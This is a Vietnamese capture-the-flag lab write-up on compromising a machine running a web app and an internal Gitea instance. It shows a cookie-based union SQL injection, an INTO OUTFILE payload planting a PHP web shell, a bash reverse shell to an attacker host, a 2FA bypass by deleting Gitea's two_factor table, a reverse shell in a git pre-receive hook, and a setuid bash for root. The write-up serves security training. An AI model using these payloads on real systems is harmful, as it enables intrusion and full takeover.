Một bài lab học cách khai thác tấn công trên gitea
Bước 1: Dò quét thu thập thông tin
Thu thập thông tin cổng dịch vụ của victim
nmap -sV -sC 10.10.178.199
Dịch vụ đang mở là 80 và 22, không có gì đặc biệt cả.
Bước 2: Khai thác dịch vụ web
Mình truy cập website xem có gì không
Không có gì đặc sắc cả ngoài vài dòng văn và lá quốc kỳ của Vương Quốc England
Dò quét đường dẫn khác bằng gobuster, nhưng không thu được thông tin gì cả.
Mình tiến hành kiếm tra bằng công cụ trình duyệt, bấm F12, mình thấy trường cookie có giá trị id mình thêm dấu ‘ ở trường value
Mình thu được kết quả báo lỗi SQL
Bước 3: Tấn công SQL
SQL có 3 loại SQLi
- Error SQL injection
- Blind SQL Injection
- Union SQL Injection
Mình thử sử dụng loại số 3 để khai thác thử thấy thực hiện được
‘union select 1, @@version#
Thu được phiên bản hệ điều hành là ubuntu 18.04.1
Ok tuyệt, vậy mình sẽ thử mã hóa một đoạn mã shell inject thêm nó vào trong hệ thống của nó bằng
Code mình sử dụng
<?php system($_GET[“cmd”]) ?>
Mình sử dụng hàm unhex trong sql kết hợp với union
‘ INTO OUTFILE ‘/var/www/html/shell.php’ LINES TERMINATED by 0x3c3C3F7068702073797374656D28245F4745545B22636D64225D29203F3E#
Chèn vào trường value và reload lại website thu được một cảnh báo lỗi nhưng không vấn đề gì cả mình kiểm tra đường dẫn có tồn tại tệp tin shell.php của mình là được
Mình tiến thành thử kiểm tra user hiện tại
Sang bước tiếp theo mình kiếm mã reverse shell đẩy lên victim đây để thực hiện kết nối ngược về máy mình
Bước 4: Điều khiển máy victim
Tạo tệp tin rev.sh nội dung sau:
echo "bash -i >& /dev/tcp/ip_kali/port 0>&1" >> rev.sh
Chạy webserver ảo trên kali
Sau đó tiến hành tải tệp tin lên máy victim
Cấp quyền và chạy tệp tin
Đồng thời trên máy kali bật chế độ lắng nghe kết nối về
Thành công kết nối được mình đến thư mục home xem có user nào
Thấy có mỗi dylan. Mình truy cập thư mục của dylan. Thấy có tệp cấu hình .gitconfig, work_analysis, user.txt nhưng mình không có quyền đối với user.txt
Mình đọc thử tệp work_analysis
Nhận thấy đây là một tệp log SSH mình thử tìm kiếm log đăng nhập với dylan
Mật khẩu cso thể là của chuỗi dylanLab… hoặc chỉ Lab…
Đọc thêm tệp .gitconfig thu được thông tin user
Mình thử đăng nhập SSH và phát hiện Lab… là mật khẩu của dylan
Mình vào đây đọc cờ đầu thôi nào
Sau khi đọc cờ đầu mình tìm cách leo thang, mình thử sudo -l hay find tìm kiếm nhưng không hiệu quả, mình thử kiểm tra xem nó còn chạy dịch vụ nào khác trên không bằng lệnh
netstat -tulnp
Thấy cổng dịch vụ 3000 được mở dùng nội bộ không public, mình sử dụng ssh tunnel để kết nối tới cổng đó xem sao
Truy cập web localhost theo cổng 3000
Đây là website xây dựng từ Git, sử dụng mã nguồn gitea mình truy cập tìm kiếm gitea và phát hiện nó ở đây
Vào thư mục gitea
Vào sign in web mình đăng nhập
Nó yêu cầu một mã xác thực, xác mình 2 bước
Mình sẽ bypass qua nó, để vượt qua nó thì trong hệ thống database có bảng là two_factor, mình xóa nó
Sử dụng lệnh python3
Sau khi xóa xong bấm ctrl+z thoát ra ngoài và đăng nhập web lại mình đã thành công bypass xác thực 2 bước
Khi hệ thống dùng git thì sẽ có user git và user này sẽ có thể leo thang trực tiếp lên root được.
Bước 5: Leo thang
Mình truy cập repository mặc định
Đến phần setting sửa Git Hooks => pre-receive
Thêm mã reverse shell
Sau đó quay về giao diện tấn công mình tiến hành tái tạo lại tệp git đó
Đồng thời trên máy kali bật cổng lắng nghe kết nối
Thành công kết nối mình kiểm tra thông tin user
Nhận thấy đây là git và có thể thực thi mọi lệnh, mình tiến hành leo thang
Nhưng như vậy hơi tù, mình liên chuyển tệp tin bash đê thực thi leo thăng từ dylan
chạy lệnh chmod 4755 bash bên giao diện user git
Thành công rồi việc còn lại đọc cờ cuối để dành bạn nhé !!!
0 Comments